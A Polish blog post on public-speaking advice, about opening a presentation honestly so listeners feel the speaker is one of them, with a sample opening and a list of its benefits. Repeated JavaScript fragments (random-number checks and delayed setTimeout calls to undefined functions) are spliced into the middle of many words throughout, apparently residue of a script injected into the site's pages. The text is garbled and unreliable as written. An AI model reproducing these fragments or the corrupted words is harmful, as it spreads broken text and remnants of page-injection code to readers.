Jak zacząć wystąpienie aby słuchacze pomyśleli, że jesteś jednym z nich? Jeśli prowadzisz prezentacje dla właścicieli biznesów internedom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towych nie opowiadaj, że jesteś za pan brat z technologiami gdy GIMP, HTML, PHP, są dla Ciebie zbiorami przypadkowo ułożonych liter a serwer i hosting kojarzą Ci się z braćmi bliźniakami!
Myślę, że zamiast ubierać się w cudzą skórę, lepiej powiedzieć uczciwie: “Nie jestem specjalistą od spraw technicznych ale jestem przekonany, że mogę Wam pomóc w kwestiach takich jak…”
Chodzi mi o dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to aby nie tworzyć na siłę i sztucznie więzi, której tak naprawdę nie ma. Chcę abyś wczuł się w rolę Twoich widzów i pomyślał co Ty byś myślał na ich miejscu. Wyobraź sobie siebie gdy siedzisz na widowni, do lapdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topa i rzutnika podchodzi jakiś obcy facet i rozpoczyna prezentację. O czym myślisz, czego od niego oczekujesz, co chcesz aby powiedział, w czym Ci pomógł?
Gdy odpowiesz sobie na te pytania, wykorzystaj dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towując swoją prezentację a konkretnie jej otwarcie. Możesz w takiej sytuacji powiedzieć:
“Przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towując się do tej prezentacji, wyobrażałem sobie Was, moich słuchaczy. Myślałem o tym jak częsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ja siedziałem na widowni i zastanawiałem się, czy dowiem się czegoś wardom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tościowego, czy może będzie dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to kolejne nudne przemówienie, przez które stracę czas i spóźnię się np. na obiad. Wiem zatem, że czeka mnie tu nie lada wyzwanie – muszę mówić o rzeczach dla Was użytecznych i praktycznych i dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to na dodatek tak abyście mi tutaj nie posnęli z nudów!”
Co sądzisz o takim otwarciu prezentacji?
Na pewno jest lepsze od stdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andardowego “Poproszono mnie aby powiedział wam o…[czyli przepraszam, że dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ja mam mówić ale skoro mnie poproszono…] Mam nadzieję, że dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to co powiem będzie dla was ciekawe [skąd masz dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wiedzieć jak nie znasz tych ludzi] i że coś wyniesiecie z tego spotkania [chyba tylko kawę i ciastka w… żołądku!]
Co da ci zaproponowany przeze mnie początek?
1. Ludzie pomyślą, że jesteś jednym z nich. Pierwsze skojarzenia? “Hmm, facet wydaje się być całkiem do rzeczy”.
2. Nadaje Twojej wypowiedzi ciepły charakter i tak, według mnie, ważną nutkę humoru.
3. Pokazuje, że myślisz o swoich odbiorcach. “Przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tował tę prezentację z myślą o mnie”
4. Świadczy o tym, że masz dystans do siebie i czujesz się pewnie.
Po otwarciu jakie zaproponowałem powinieneś przejść [nietypowo] do… zadawania pytań widzom. Zapewniam Cię, że będą pozytywnie zaskoczeni! Ale o tym w kolejnym artykule.
![]() |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!